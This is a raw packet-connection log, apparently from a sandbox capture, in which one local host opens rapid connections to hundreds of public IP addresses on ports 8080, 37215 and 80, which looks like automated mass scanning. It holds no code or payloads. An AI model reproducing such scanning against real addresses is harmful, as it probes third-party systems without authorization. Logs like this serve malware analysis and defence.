Oct 29, 2024 20:52:40.349592924 CET	56351	8080	192.168.2.13	85.209.225.113
Oct 29, 2024 20:52:40.349607944 CET	56351	8080	192.168.2.13	85.253.196.54
Oct 29, 2024 20:52:40.349610090 CET	56351	8080	192.168.2.13	62.238.172.253
Oct 29, 2024 20:52:40.349611998 CET	56351	8080	192.168.2.13	31.214.185.72
Oct 29, 2024 20:52:40.349618912 CET	56351	8080	192.168.2.13	94.89.47.209
Oct 29, 2024 20:52:40.349627972 CET	56351	8080	192.168.2.13	95.217.137.217
Oct 29, 2024 20:52:40.349632025 CET	56351	8080	192.168.2.13	95.199.82.206
Oct 29, 2024 20:52:40.349632025 CET	56351	8080	192.168.2.13	31.149.196.35
Oct 29, 2024 20:52:40.349648952 CET	56351	8080	192.168.2.13	94.146.64.43
Oct 29, 2024 20:52:40.349653006 CET	56351	8080	192.168.2.13	94.183.236.184
Oct 29, 2024 20:52:40.349653006 CET	56351	8080	192.168.2.13	31.117.6.138
Oct 29, 2024 20:52:40.349658966 CET	56351	8080	192.168.2.13	95.12.42.11
Oct 29, 2024 20:52:40.349663973 CET	56351	8080	192.168.2.13	94.224.226.159
Oct 29, 2024 20:52:40.349667072 CET	56351	8080	192.168.2.13	62.227.63.63
Oct 29, 2024 20:52:40.349667072 CET	56351	8080	192.168.2.13	94.4.187.164
Oct 29, 2024 20:52:40.349668980 CET	56351	8080	192.168.2.13	62.62.182.128
Oct 29, 2024 20:52:40.349677086 CET	56351	8080	192.168.2.13	62.165.127.81
Oct 29, 2024 20:52:40.349693060 CET	56351	8080	192.168.2.13	94.182.193.161
Oct 29, 2024 20:52:40.349695921 CET	56351	8080	192.168.2.13	95.173.243.247
Oct 29, 2024 20:52:40.349704981 CET	56351	8080	192.168.2.13	85.130.223.90
Oct 29, 2024 20:52:40.349704981 CET	56351	8080	192.168.2.13	95.91.25.31
Oct 29, 2024 20:52:40.349715948 CET	56351	8080	192.168.2.13	95.19.77.118
Oct 29, 2024 20:52:40.349723101 CET	56351	8080	192.168.2.13	62.176.95.185
Oct 29, 2024 20:52:40.349728107 CET	56351	8080	192.168.2.13	31.5.38.76
Oct 29, 2024 20:52:40.349734068 CET	56351	8080	192.168.2.13	95.170.125.57
Oct 29, 2024 20:52:40.349747896 CET	56351	8080	192.168.2.13	62.176.84.113
Oct 29, 2024 20:52:40.349750996 CET	56351	8080	192.168.2.13	31.43.16.231
Oct 29, 2024 20:52:40.349752903 CET	56351	8080	192.168.2.13	94.38.219.36
Oct 29, 2024 20:52:40.349756002 CET	56351	8080	192.168.2.13	62.243.244.40
Oct 29, 2024 20:52:40.349770069 CET	8080	56351	62.164.171.163	192.168.2.13
Oct 29, 2024 20:52:40.349771976 CET	56351	8080	192.168.2.13	94.53.246.203
Oct 29, 2024 20:52:40.349771976 CET	56351	8080	192.168.2.13	94.225.88.149
Oct 29, 2024 20:52:40.349783897 CET	56351	8080	192.168.2.13	95.35.119.30
Oct 29, 2024 20:52:40.349785089 CET	56351	8080	192.168.2.13	94.132.90.239
Oct 29, 2024 20:52:40.349795103 CET	8080	56351	94.72.220.41	192.168.2.13
Oct 29, 2024 20:52:40.349796057 CET	56351	8080	192.168.2.13	95.108.152.97
Oct 29, 2024 20:52:40.349807024 CET	8080	56351	94.95.189.183	192.168.2.13
Oct 29, 2024 20:52:40.349803925 CET	56351	8080	192.168.2.13	31.9.60.88
Oct 29, 2024 20:52:40.349812031 CET	56351	8080	192.168.2.13	95.120.152.42
Oct 29, 2024 20:52:40.349812031 CET	56351	8080	192.168.2.13	94.250.127.42
Oct 29, 2024 20:52:40.349812031 CET	56351	8080	192.168.2.13	31.55.82.251
Oct 29, 2024 20:52:40.349817991 CET	8080	56351	31.1.3.61	192.168.2.13
Oct 29, 2024 20:52:40.349828959 CET	8080	56351	94.131.209.220	192.168.2.13
Oct 29, 2024 20:52:40.349838972 CET	8080	56351	95.20.19.141	192.168.2.13
Oct 29, 2024 20:52:40.349843025 CET	56351	8080	192.168.2.13	62.164.171.163
Oct 29, 2024 20:52:40.349845886 CET	56351	8080	192.168.2.13	94.72.220.41
Oct 29, 2024 20:52:40.349852085 CET	56351	8080	192.168.2.13	31.1.3.61
Oct 29, 2024 20:52:40.349852085 CET	56351	8080	192.168.2.13	94.131.209.220
Oct 29, 2024 20:52:40.349862099 CET	56351	8080	192.168.2.13	94.95.189.183
Oct 29, 2024 20:52:40.349879980 CET	56351	8080	192.168.2.13	95.20.19.141
Oct 29, 2024 20:52:40.349953890 CET	8080	56351	62.56.199.128	192.168.2.13
Oct 29, 2024 20:52:40.349965096 CET	8080	56351	85.173.52.49	192.168.2.13
Oct 29, 2024 20:52:40.349976063 CET	8080	56351	62.232.4.244	192.168.2.13
Oct 29, 2024 20:52:40.349993944 CET	56351	8080	192.168.2.13	62.56.199.128
Oct 29, 2024 20:52:40.350008965 CET	56351	8080	192.168.2.13	62.232.4.244
Oct 29, 2024 20:52:40.350019932 CET	56351	8080	192.168.2.13	85.173.52.49
Oct 29, 2024 20:52:40.350652933 CET	54978	8080	192.168.2.13	94.72.220.41
Oct 29, 2024 20:52:40.351525068 CET	46556	8080	192.168.2.13	95.20.19.141
Oct 29, 2024 20:52:40.352433920 CET	53284	8080	192.168.2.13	62.56.199.128
Oct 29, 2024 20:52:40.352715969 CET	8080	56351	62.23.204.172	192.168.2.13
Oct 29, 2024 20:52:40.352768898 CET	56351	8080	192.168.2.13	62.23.204.172
Oct 29, 2024 20:52:40.353257895 CET	40788	8080	192.168.2.13	85.173.52.49
Oct 29, 2024 20:52:40.354069948 CET	42678	8080	192.168.2.13	62.232.4.244
Oct 29, 2024 20:52:40.354892015 CET	50626	8080	192.168.2.13	62.23.204.172
Oct 29, 2024 20:52:40.458022118 CET	56342	37215	192.168.2.13	197.172.135.30
Oct 29, 2024 20:52:40.458048105 CET	56342	37215	192.168.2.13	197.129.46.206
Oct 29, 2024 20:52:40.458072901 CET	56342	37215	192.168.2.13	197.209.27.64
Oct 29, 2024 20:52:40.458086967 CET	56342	37215	192.168.2.13	197.231.113.117
Oct 29, 2024 20:52:40.458086967 CET	56342	37215	192.168.2.13	197.73.46.100
Oct 29, 2024 20:52:40.458133936 CET	56342	37215	192.168.2.13	197.15.135.23
Oct 29, 2024 20:52:40.458139896 CET	56342	37215	192.168.2.13	197.216.39.70
Oct 29, 2024 20:52:40.458152056 CET	56342	37215	192.168.2.13	197.233.246.4
Oct 29, 2024 20:52:40.458165884 CET	56342	37215	192.168.2.13	197.210.62.153
Oct 29, 2024 20:52:40.458187103 CET	56342	37215	192.168.2.13	197.130.131.177
Oct 29, 2024 20:52:40.458198071 CET	56342	37215	192.168.2.13	197.189.85.68
Oct 29, 2024 20:52:40.458236933 CET	56342	37215	192.168.2.13	197.32.186.254
Oct 29, 2024 20:52:40.458241940 CET	56342	37215	192.168.2.13	197.177.91.108
Oct 29, 2024 20:52:40.458256006 CET	56342	37215	192.168.2.13	197.231.222.135
Oct 29, 2024 20:52:40.458280087 CET	56342	37215	192.168.2.13	197.88.236.32
Oct 29, 2024 20:52:40.458301067 CET	56342	37215	192.168.2.13	197.22.139.105
Oct 29, 2024 20:52:40.458312988 CET	56342	37215	192.168.2.13	197.85.211.142
Oct 29, 2024 20:52:40.458298922 CET	56342	37215	192.168.2.13	197.189.195.241
Oct 29, 2024 20:52:40.458350897 CET	56342	37215	192.168.2.13	197.61.211.162
Oct 29, 2024 20:52:40.458354950 CET	56342	37215	192.168.2.13	197.224.41.92
Oct 29, 2024 20:52:40.458360910 CET	56342	37215	192.168.2.13	197.252.175.78
Oct 29, 2024 20:52:40.458389044 CET	56342	37215	192.168.2.13	197.188.92.85
Oct 29, 2024 20:52:40.458395958 CET	56342	37215	192.168.2.13	197.18.91.176
Oct 29, 2024 20:52:40.458395958 CET	56342	37215	192.168.2.13	197.72.43.60
Oct 29, 2024 20:52:40.458421946 CET	56342	37215	192.168.2.13	197.43.154.31
Oct 29, 2024 20:52:40.458440065 CET	56342	37215	192.168.2.13	197.110.240.93
Oct 29, 2024 20:52:40.458445072 CET	56342	37215	192.168.2.13	197.121.79.223
Oct 29, 2024 20:52:40.458467960 CET	56342	37215	192.168.2.13	197.210.209.100
Oct 29, 2024 20:52:40.458470106 CET	56342	37215	192.168.2.13	197.32.3.241
Oct 29, 2024 20:52:40.458493948 CET	56342	37215	192.168.2.13	197.173.133.78
Oct 29, 2024 20:52:40.458493948 CET	56342	37215	192.168.2.13	197.101.110.118
Oct 29, 2024 20:52:40.458517075 CET	56342	37215	192.168.2.13	197.242.19.75
Oct 29, 2024 20:52:40.458554983 CET	56342	37215	192.168.2.13	197.17.32.146
Oct 29, 2024 20:52:40.458566904 CET	56342	37215	192.168.2.13	197.165.244.74
Oct 29, 2024 20:52:40.458573103 CET	56342	37215	192.168.2.13	197.82.9.85
Oct 29, 2024 20:52:40.458591938 CET	56342	37215	192.168.2.13	197.96.7.220
Oct 29, 2024 20:52:40.458599091 CET	56342	37215	192.168.2.13	197.163.139.113
Oct 29, 2024 20:52:40.458619118 CET	56342	37215	192.168.2.13	197.26.50.4
Oct 29, 2024 20:52:40.458645105 CET	56342	37215	192.168.2.13	197.79.53.237
Oct 29, 2024 20:52:40.458659887 CET	56342	37215	192.168.2.13	197.199.233.28
Oct 29, 2024 20:52:40.458672047 CET	56342	37215	192.168.2.13	197.189.198.41
Oct 29, 2024 20:52:40.458729029 CET	56342	37215	192.168.2.13	197.30.206.57
Oct 29, 2024 20:52:40.458729982 CET	56342	37215	192.168.2.13	197.203.114.241
Oct 29, 2024 20:52:40.458731890 CET	56342	37215	192.168.2.13	197.132.125.172
Oct 29, 2024 20:52:40.458765984 CET	56342	37215	192.168.2.13	197.5.16.137
Oct 29, 2024 20:52:40.458767891 CET	56342	37215	192.168.2.13	197.204.30.16
Oct 29, 2024 20:52:40.458779097 CET	56342	37215	192.168.2.13	197.133.142.102
Oct 29, 2024 20:52:40.458796978 CET	56342	37215	192.168.2.13	197.214.107.108
Oct 29, 2024 20:52:40.458823919 CET	56342	37215	192.168.2.13	197.102.58.206
Oct 29, 2024 20:52:40.458834887 CET	56342	37215	192.168.2.13	197.134.198.69
Oct 29, 2024 20:52:40.458834887 CET	56342	37215	192.168.2.13	197.230.54.107
Oct 29, 2024 20:52:40.458848953 CET	56342	37215	192.168.2.13	197.212.183.38
Oct 29, 2024 20:52:40.458870888 CET	56342	37215	192.168.2.13	197.30.228.94
Oct 29, 2024 20:52:40.458875895 CET	56342	37215	192.168.2.13	197.137.205.220
Oct 29, 2024 20:52:40.458899021 CET	56342	37215	192.168.2.13	197.229.159.160
Oct 29, 2024 20:52:40.458914042 CET	56342	37215	192.168.2.13	197.220.6.15
Oct 29, 2024 20:52:40.458930969 CET	56342	37215	192.168.2.13	197.29.15.125
Oct 29, 2024 20:52:40.458939075 CET	56342	37215	192.168.2.13	197.191.146.3
Oct 29, 2024 20:52:40.458971024 CET	56342	37215	192.168.2.13	197.105.18.8
Oct 29, 2024 20:52:40.458977938 CET	56342	37215	192.168.2.13	197.204.225.193
Oct 29, 2024 20:52:40.458997011 CET	56342	37215	192.168.2.13	197.18.176.127
Oct 29, 2024 20:52:40.459022999 CET	56342	37215	192.168.2.13	197.28.187.166
Oct 29, 2024 20:52:40.459022999 CET	56342	37215	192.168.2.13	197.233.25.56
Oct 29, 2024 20:52:40.459042072 CET	56342	37215	192.168.2.13	197.29.84.98
Oct 29, 2024 20:52:40.459064007 CET	56342	37215	192.168.2.13	197.29.107.242
Oct 29, 2024 20:52:40.459076881 CET	56342	37215	192.168.2.13	197.84.202.166
Oct 29, 2024 20:52:40.459100962 CET	56342	37215	192.168.2.13	197.109.151.78
Oct 29, 2024 20:52:40.459115982 CET	56342	37215	192.168.2.13	197.125.23.242
Oct 29, 2024 20:52:40.459134102 CET	56342	37215	192.168.2.13	197.40.82.175
Oct 29, 2024 20:52:40.459193945 CET	56342	37215	192.168.2.13	197.219.59.197
Oct 29, 2024 20:52:40.459203005 CET	56342	37215	192.168.2.13	197.226.201.20
Oct 29, 2024 20:52:40.459207058 CET	56342	37215	192.168.2.13	197.205.154.73
Oct 29, 2024 20:52:40.459232092 CET	56342	37215	192.168.2.13	197.223.200.218
Oct 29, 2024 20:52:40.459247112 CET	56342	37215	192.168.2.13	197.38.115.91
Oct 29, 2024 20:52:40.459258080 CET	56342	37215	192.168.2.13	197.28.196.143
Oct 29, 2024 20:52:40.459259033 CET	56342	37215	192.168.2.13	197.165.77.142
Oct 29, 2024 20:52:40.459273100 CET	56342	37215	192.168.2.13	197.90.253.249
Oct 29, 2024 20:52:40.459278107 CET	56342	37215	192.168.2.13	197.205.0.203
Oct 29, 2024 20:52:40.459285021 CET	56342	37215	192.168.2.13	197.47.200.214
Oct 29, 2024 20:52:40.459305048 CET	56342	37215	192.168.2.13	197.96.117.7
Oct 29, 2024 20:52:40.459325075 CET	56342	37215	192.168.2.13	197.244.243.211
Oct 29, 2024 20:52:40.459348917 CET	56342	37215	192.168.2.13	197.88.199.55
Oct 29, 2024 20:52:40.459358931 CET	56342	37215	192.168.2.13	197.85.28.252
Oct 29, 2024 20:52:40.459393024 CET	56342	37215	192.168.2.13	197.222.158.112
Oct 29, 2024 20:52:40.459417105 CET	56342	37215	192.168.2.13	197.189.95.25
Oct 29, 2024 20:52:40.459420919 CET	56342	37215	192.168.2.13	197.69.240.136
Oct 29, 2024 20:52:40.459456921 CET	56342	37215	192.168.2.13	197.239.137.171
Oct 29, 2024 20:52:40.459456921 CET	56342	37215	192.168.2.13	197.102.102.118
Oct 29, 2024 20:52:40.459459066 CET	56342	37215	192.168.2.13	197.238.16.173
Oct 29, 2024 20:52:40.459466934 CET	56342	37215	192.168.2.13	197.213.57.36
Oct 29, 2024 20:52:40.459489107 CET	56342	37215	192.168.2.13	197.165.54.165
Oct 29, 2024 20:52:40.459500074 CET	56342	37215	192.168.2.13	197.106.195.217
Oct 29, 2024 20:52:40.459518909 CET	56342	37215	192.168.2.13	197.94.83.8
Oct 29, 2024 20:52:40.459530115 CET	56342	37215	192.168.2.13	197.74.28.165
Oct 29, 2024 20:52:40.459543943 CET	56342	37215	192.168.2.13	197.252.244.37
Oct 29, 2024 20:52:40.459561110 CET	56342	37215	192.168.2.13	197.233.22.173
Oct 29, 2024 20:52:40.459573030 CET	56342	37215	192.168.2.13	197.101.167.152
Oct 29, 2024 20:52:40.459593058 CET	56342	37215	192.168.2.13	197.57.191.24
Oct 29, 2024 20:52:40.459604025 CET	56342	37215	192.168.2.13	197.182.112.71
Oct 29, 2024 20:52:40.459621906 CET	56342	37215	192.168.2.13	197.25.187.121
Oct 29, 2024 20:52:40.459635019 CET	56342	37215	192.168.2.13	197.35.116.241
Oct 29, 2024 20:52:40.459639072 CET	56342	37215	192.168.2.13	197.42.148.70
Oct 29, 2024 20:52:40.459660053 CET	56342	37215	192.168.2.13	197.114.227.124
Oct 29, 2024 20:52:40.459688902 CET	56342	37215	192.168.2.13	197.43.248.173
Oct 29, 2024 20:52:40.459702969 CET	56342	37215	192.168.2.13	197.226.63.74
Oct 29, 2024 20:52:40.459716082 CET	56342	37215	192.168.2.13	197.54.26.217
Oct 29, 2024 20:52:40.459728003 CET	56342	37215	192.168.2.13	197.155.97.255
Oct 29, 2024 20:52:40.459733963 CET	56342	37215	192.168.2.13	197.169.227.21
Oct 29, 2024 20:52:40.459748030 CET	56342	37215	192.168.2.13	197.12.63.82
Oct 29, 2024 20:52:40.459765911 CET	56342	37215	192.168.2.13	197.36.253.85
Oct 29, 2024 20:52:40.459795952 CET	56342	37215	192.168.2.13	197.175.22.23
Oct 29, 2024 20:52:40.459815025 CET	56342	37215	192.168.2.13	197.20.122.124
Oct 29, 2024 20:52:40.459825993 CET	56342	37215	192.168.2.13	197.244.235.182
Oct 29, 2024 20:52:40.459841967 CET	56342	37215	192.168.2.13	197.60.172.10
Oct 29, 2024 20:52:40.459849119 CET	56342	37215	192.168.2.13	197.242.1.154
Oct 29, 2024 20:52:40.459877968 CET	56342	37215	192.168.2.13	197.78.239.239
Oct 29, 2024 20:52:40.459897995 CET	56342	37215	192.168.2.13	197.111.218.24
Oct 29, 2024 20:52:40.459928036 CET	56342	37215	192.168.2.13	197.190.62.133
Oct 29, 2024 20:52:40.459933996 CET	56342	37215	192.168.2.13	197.103.101.96
Oct 29, 2024 20:52:40.459935904 CET	56342	37215	192.168.2.13	197.23.243.182
Oct 29, 2024 20:52:40.459956884 CET	56342	37215	192.168.2.13	197.97.94.223
Oct 29, 2024 20:52:40.459968090 CET	56342	37215	192.168.2.13	197.71.36.159
Oct 29, 2024 20:52:40.459986925 CET	56342	37215	192.168.2.13	197.68.70.123
Oct 29, 2024 20:52:40.460000992 CET	56342	37215	192.168.2.13	197.131.94.82
Oct 29, 2024 20:52:40.460033894 CET	56342	37215	192.168.2.13	197.254.161.90
Oct 29, 2024 20:52:40.460033894 CET	56342	37215	192.168.2.13	197.144.30.39
Oct 29, 2024 20:52:40.460046053 CET	56342	37215	192.168.2.13	197.49.128.28
Oct 29, 2024 20:52:40.460067987 CET	56342	37215	192.168.2.13	197.112.45.139
Oct 29, 2024 20:52:40.460079908 CET	56342	37215	192.168.2.13	197.179.111.209
Oct 29, 2024 20:52:40.460097075 CET	56342	37215	192.168.2.13	197.230.8.94
Oct 29, 2024 20:52:40.460115910 CET	56342	37215	192.168.2.13	197.183.210.104
Oct 29, 2024 20:52:40.460131884 CET	56342	37215	192.168.2.13	197.249.243.230
Oct 29, 2024 20:52:40.460158110 CET	56342	37215	192.168.2.13	197.78.90.208
Oct 29, 2024 20:52:40.460164070 CET	56342	37215	192.168.2.13	197.41.255.174
Oct 29, 2024 20:52:40.460176945 CET	56342	37215	192.168.2.13	197.96.215.82
Oct 29, 2024 20:52:40.460201979 CET	56342	37215	192.168.2.13	197.209.143.92
Oct 29, 2024 20:52:40.460215092 CET	56342	37215	192.168.2.13	197.191.180.139
Oct 29, 2024 20:52:40.460215092 CET	56342	37215	192.168.2.13	197.151.209.22
Oct 29, 2024 20:52:40.460230112 CET	56342	37215	192.168.2.13	197.169.189.18
Oct 29, 2024 20:52:40.460242987 CET	56342	37215	192.168.2.13	197.213.67.56
Oct 29, 2024 20:52:40.460262060 CET	56342	37215	192.168.2.13	197.167.108.59
Oct 29, 2024 20:52:40.460283995 CET	56342	37215	192.168.2.13	197.180.74.154
Oct 29, 2024 20:52:40.460295916 CET	56342	37215	192.168.2.13	197.199.96.212
Oct 29, 2024 20:52:40.460304022 CET	56342	37215	192.168.2.13	197.44.58.238
Oct 29, 2024 20:52:40.460304976 CET	56342	37215	192.168.2.13	197.226.12.56
Oct 29, 2024 20:52:40.460324049 CET	56342	37215	192.168.2.13	197.200.5.184
Oct 29, 2024 20:52:40.460336924 CET	56342	37215	192.168.2.13	197.231.209.122
Oct 29, 2024 20:52:40.460344076 CET	56342	37215	192.168.2.13	197.248.137.221
Oct 29, 2024 20:52:40.460361958 CET	56342	37215	192.168.2.13	197.212.140.198
Oct 29, 2024 20:52:40.460374117 CET	56342	37215	192.168.2.13	197.165.240.196
Oct 29, 2024 20:52:40.460392952 CET	56342	37215	192.168.2.13	197.91.61.193
Oct 29, 2024 20:52:40.460403919 CET	56342	37215	192.168.2.13	197.36.112.161
Oct 29, 2024 20:52:40.460427046 CET	56342	37215	192.168.2.13	197.247.156.103
Oct 29, 2024 20:52:40.460427046 CET	56342	37215	192.168.2.13	197.240.130.202
Oct 29, 2024 20:52:40.460448980 CET	56342	37215	192.168.2.13	197.144.236.160
Oct 29, 2024 20:52:40.460475922 CET	56342	37215	192.168.2.13	197.12.73.132
Oct 29, 2024 20:52:40.460489035 CET	56342	37215	192.168.2.13	197.89.74.131
Oct 29, 2024 20:52:40.460508108 CET	56342	37215	192.168.2.13	197.129.31.248
Oct 29, 2024 20:52:40.460520029 CET	56342	37215	192.168.2.13	197.117.249.198
Oct 29, 2024 20:52:40.460532904 CET	56342	37215	192.168.2.13	197.140.183.227
Oct 29, 2024 20:52:40.463670015 CET	37215	56342	197.172.135.30	192.168.2.13
Oct 29, 2024 20:52:40.463681936 CET	37215	56342	197.129.46.206	192.168.2.13
Oct 29, 2024 20:52:40.463690996 CET	37215	56342	197.209.27.64	192.168.2.13
Oct 29, 2024 20:52:40.463702917 CET	37215	56342	197.231.113.117	192.168.2.13
Oct 29, 2024 20:52:40.463712931 CET	37215	56342	197.73.46.100	192.168.2.13
Oct 29, 2024 20:52:40.463721991 CET	37215	56342	197.216.39.70	192.168.2.13
Oct 29, 2024 20:52:40.463730097 CET	37215	56342	197.15.135.23	192.168.2.13
Oct 29, 2024 20:52:40.463737011 CET	37215	56342	197.233.246.4	192.168.2.13
Oct 29, 2024 20:52:40.463737965 CET	56342	37215	192.168.2.13	197.172.135.30
Oct 29, 2024 20:52:40.463746071 CET	37215	56342	197.210.62.153	192.168.2.13
Oct 29, 2024 20:52:40.463746071 CET	56342	37215	192.168.2.13	197.209.27.64
Oct 29, 2024 20:52:40.463747978 CET	56342	37215	192.168.2.13	197.129.46.206
Oct 29, 2024 20:52:40.463752031 CET	56342	37215	192.168.2.13	197.231.113.117
Oct 29, 2024 20:52:40.463752985 CET	56342	37215	192.168.2.13	197.73.46.100
Oct 29, 2024 20:52:40.463756084 CET	37215	56342	197.130.131.177	192.168.2.13
Oct 29, 2024 20:52:40.463766098 CET	37215	56342	197.189.85.68	192.168.2.13
Oct 29, 2024 20:52:40.463773012 CET	56342	37215	192.168.2.13	197.15.135.23
Oct 29, 2024 20:52:40.463774920 CET	56342	37215	192.168.2.13	197.233.246.4
Oct 29, 2024 20:52:40.463778973 CET	56342	37215	192.168.2.13	197.210.62.153
Oct 29, 2024 20:52:40.463789940 CET	56342	37215	192.168.2.13	197.216.39.70
Oct 29, 2024 20:52:40.463790894 CET	56342	37215	192.168.2.13	197.189.85.68
Oct 29, 2024 20:52:40.463790894 CET	56342	37215	192.168.2.13	197.130.131.177
Oct 29, 2024 20:52:40.774350882 CET	80	56590	95.238.40.148	192.168.2.13
Oct 29, 2024 20:52:40.774631977 CET	56590	80	192.168.2.13	95.238.40.148
Oct 29, 2024 20:52:41.083233118 CET	57618	80	192.168.2.13	95.106.58.190
Oct 29, 2024 20:52:41.083249092 CET	33674	80	192.168.2.13	95.112.181.195
Oct 29, 2024 20:52:41.083249092 CET	41840	80	192.168.2.13	95.77.220.247
Oct 29, 2024 20:52:41.083254099 CET	60602	80	192.168.2.13	95.172.75.255
Oct 29, 2024 20:52:41.083255053 CET	39310	80	192.168.2.13	95.126.222.62
Oct 29, 2024 20:52:41.083256006 CET	41670	80	192.168.2.13	95.127.127.127
Oct 29, 2024 20:52:41.083256006 CET	52274	80	192.168.2.13	95.4.208.126
Oct 29, 2024 20:52:41.083270073 CET	52510	80	192.168.2.13	95.185.127.243
Oct 29, 2024 20:52:41.083270073 CET	37288	80	192.168.2.13	95.2.21.213
Oct 29, 2024 20:52:41.083296061 CET	51482	80	192.168.2.13	95.183.176.62
Oct 29, 2024 20:52:41.083295107 CET	53492	80	192.168.2.13	95.192.3.156
Oct 29, 2024 20:52:41.088690996 CET	80	57618	95.106.58.190	192.168.2.13
Oct 29, 2024 20:52:41.088706017 CET	80	39310	95.126.222.62	192.168.2.13
Oct 29, 2024 20:52:41.088716030 CET	80	52510	95.185.127.243	192.168.2.13
Oct 29, 2024 20:52:41.088797092 CET	57618	80	192.168.2.13	95.106.58.190
Oct 29, 2024 20:52:41.088797092 CET	52510	80	192.168.2.13	95.185.127.243
Oct 29, 2024 20:52:41.088802099 CET	39310	80	192.168.2.13	95.126.222.62
Oct 29, 2024 20:52:41.088927984 CET	39310	80	192.168.2.13	95.126.222.62
Oct 29, 2024 20:52:41.088942051 CET	52510	80	192.168.2.13	95.185.127.243
Oct 29, 2024 20:52:41.088942051 CET	57618	80	192.168.2.13	95.106.58.190
Oct 29, 2024 20:52:41.088987112 CET	80	37288	95.2.21.213	192.168.2.13
Oct 29, 2024 20:52:41.088998079 CET	80	41670	95.127.127.127	192.168.2.13
Oct 29, 2024 20:52:41.089008093 CET	80	60602	95.172.75.255	192.168.2.13
Oct 29, 2024 20:52:41.089018106 CET	80	33674	95.112.181.195	192.168.2.13
Oct 29, 2024 20:52:41.089027882 CET	80	52274	95.4.208.126	192.168.2.13
Oct 29, 2024 20:52:41.089030981 CET	41670	80	192.168.2.13	95.127.127.127
Oct 29, 2024 20:52:41.089035988 CET	37288	80	192.168.2.13	95.2.21.213
Oct 29, 2024 20:52:41.089036942 CET	80	41840	95.77.220.247	192.168.2.13
Oct 29, 2024 20:52:41.089041948 CET	60602	80	192.168.2.13	95.172.75.255
Oct 29, 2024 20:52:41.089042902 CET	33674	80	192.168.2.13	95.112.181.195
Oct 29, 2024 20:52:41.089046955 CET	80	51482	95.183.176.62	192.168.2.13
Oct 29, 2024 20:52:41.089057922 CET	80	53492	95.192.3.156	192.168.2.13
Oct 29, 2024 20:52:41.089065075 CET	52274	80	192.168.2.13	95.4.208.126
Oct 29, 2024 20:52:41.089080095 CET	41840	80	192.168.2.13	95.77.220.247
Oct 29, 2024 20:52:41.089080095 CET	51482	80	192.168.2.13	95.183.176.62
Oct 29, 2024 20:52:41.089121103 CET	56350	80	192.168.2.13	88.246.28.47
Oct 29, 2024 20:52:41.089123011 CET	53492	80	192.168.2.13	95.192.3.156
Oct 29, 2024 20:52:41.089140892 CET	56350	80	192.168.2.13	88.77.170.86
Oct 29, 2024 20:52:41.089170933 CET	56350	80	192.168.2.13	88.214.103.50
Oct 29, 2024 20:52:41.089174986 CET	56350	80	192.168.2.13	88.0.207.84
Oct 29, 2024 20:52:41.089191914 CET	56350	80	192.168.2.13	88.137.188.153
Oct 29, 2024 20:52:41.089193106 CET	56350	80	192.168.2.13	88.76.89.129
Oct 29, 2024 20:52:41.089214087 CET	56350	80	192.168.2.13	88.97.248.2
Oct 29, 2024 20:52:41.089236021 CET	56350	80	192.168.2.13	88.190.229.159
Oct 29, 2024 20:52:41.089238882 CET	56350	80	192.168.2.13	88.108.18.195
Oct 29, 2024 20:52:41.089265108 CET	56350	80	192.168.2.13	88.116.29.139
Oct 29, 2024 20:52:41.089282990 CET	56350	80	192.168.2.13	88.77.87.192
Oct 29, 2024 20:52:41.089284897 CET	56350	80	192.168.2.13	88.192.52.203
Oct 29, 2024 20:52:41.089325905 CET	56350	80	192.168.2.13	88.70.42.191
Oct 29, 2024 20:52:41.089332104 CET	56350	80	192.168.2.13	88.90.108.220
Oct 29, 2024 20:52:41.089337111 CET	56350	80	192.168.2.13	88.204.33.173
Oct 29, 2024 20:52:41.089350939 CET	56350	80	192.168.2.13	88.38.75.104
Oct 29, 2024 20:52:41.089368105 CET	56350	80	192.168.2.13	88.122.25.150
Oct 29, 2024 20:52:41.089399099 CET	56350	80	192.168.2.13	88.211.212.242
Oct 29, 2024 20:52:41.089399099 CET	56350	80	192.168.2.13	88.186.49.214
Oct 29, 2024 20:52:41.089426994 CET	56350	80	192.168.2.13	88.181.26.182
Oct 29, 2024 20:52:41.089426994 CET	56350	80	192.168.2.13	88.240.250.74
Oct 29, 2024 20:52:41.089446068 CET	56350	80	192.168.2.13	88.195.110.232
Oct 29, 2024 20:52:41.089468956 CET	56350	80	192.168.2.13	88.114.209.109
Oct 29, 2024 20:52:41.089471102 CET	56350	80	192.168.2.13	88.28.29.135
Oct 29, 2024 20:52:41.089482069 CET	56350	80	192.168.2.13	88.127.60.41
Oct 29, 2024 20:52:41.089504957 CET	56350	80	192.168.2.13	88.108.248.246
Oct 29, 2024 20:52:41.089509010 CET	56350	80	192.168.2.13	88.145.148.7
Oct 29, 2024 20:52:41.089535952 CET	56350	80	192.168.2.13	88.212.111.218
Oct 29, 2024 20:52:41.089549065 CET	56350	80	192.168.2.13	88.25.200.113
Oct 29, 2024 20:52:41.089562893 CET	56350	80	192.168.2.13	88.166.115.35
Oct 29, 2024 20:52:41.089576006 CET	56350	80	192.168.2.13	88.243.237.74
Oct 29, 2024 20:52:41.089596033 CET	56350	80	192.168.2.13	88.80.163.156
Oct 29, 2024 20:52:41.089607954 CET	56350	80	192.168.2.13	88.218.216.56
Oct 29, 2024 20:52:41.089639902 CET	56350	80	192.168.2.13	88.71.160.208
Oct 29, 2024 20:52:41.089658976 CET	56350	80	192.168.2.13	88.40.67.208
Oct 29, 2024 20:52:41.089668989 CET	56350	80	192.168.2.13	88.175.187.125
Oct 29, 2024 20:52:41.089678049 CET	56350	80	192.168.2.13	88.212.30.188
Oct 29, 2024 20:52:41.089704990 CET	56350	80	192.168.2.13	88.92.150.117
Oct 29, 2024 20:52:41.089704990 CET	56350	80	192.168.2.13	88.11.75.71
Oct 29, 2024 20:52:41.089720964 CET	56350	80	192.168.2.13	88.44.124.248
Oct 29, 2024 20:52:41.089736938 CET	56350	80	192.168.2.13	88.246.58.9
Oct 29, 2024 20:52:41.089754105 CET	56350	80	192.168.2.13	88.16.232.114
Oct 29, 2024 20:52:41.089782000 CET	56350	80	192.168.2.13	88.233.210.34
Oct 29, 2024 20:52:41.089797020 CET	56350	80	192.168.2.13	88.245.167.70
Oct 29, 2024 20:52:41.089797974 CET	56350	80	192.168.2.13	88.132.205.37
Oct 29, 2024 20:52:41.089808941 CET	56350	80	192.168.2.13	88.46.204.142
Oct 29, 2024 20:52:41.089823961 CET	56350	80	192.168.2.13	88.131.193.228
Oct 29, 2024 20:52:41.089834929 CET	56350	80	192.168.2.13	88.251.68.1
Oct 29, 2024 20:52:41.089850903 CET	56350	80	192.168.2.13	88.7.246.250
Oct 29, 2024 20:52:41.089864016 CET	56350	80	192.168.2.13	88.237.105.170
Oct 29, 2024 20:52:41.089894056 CET	56350	80	192.168.2.13	88.143.166.216
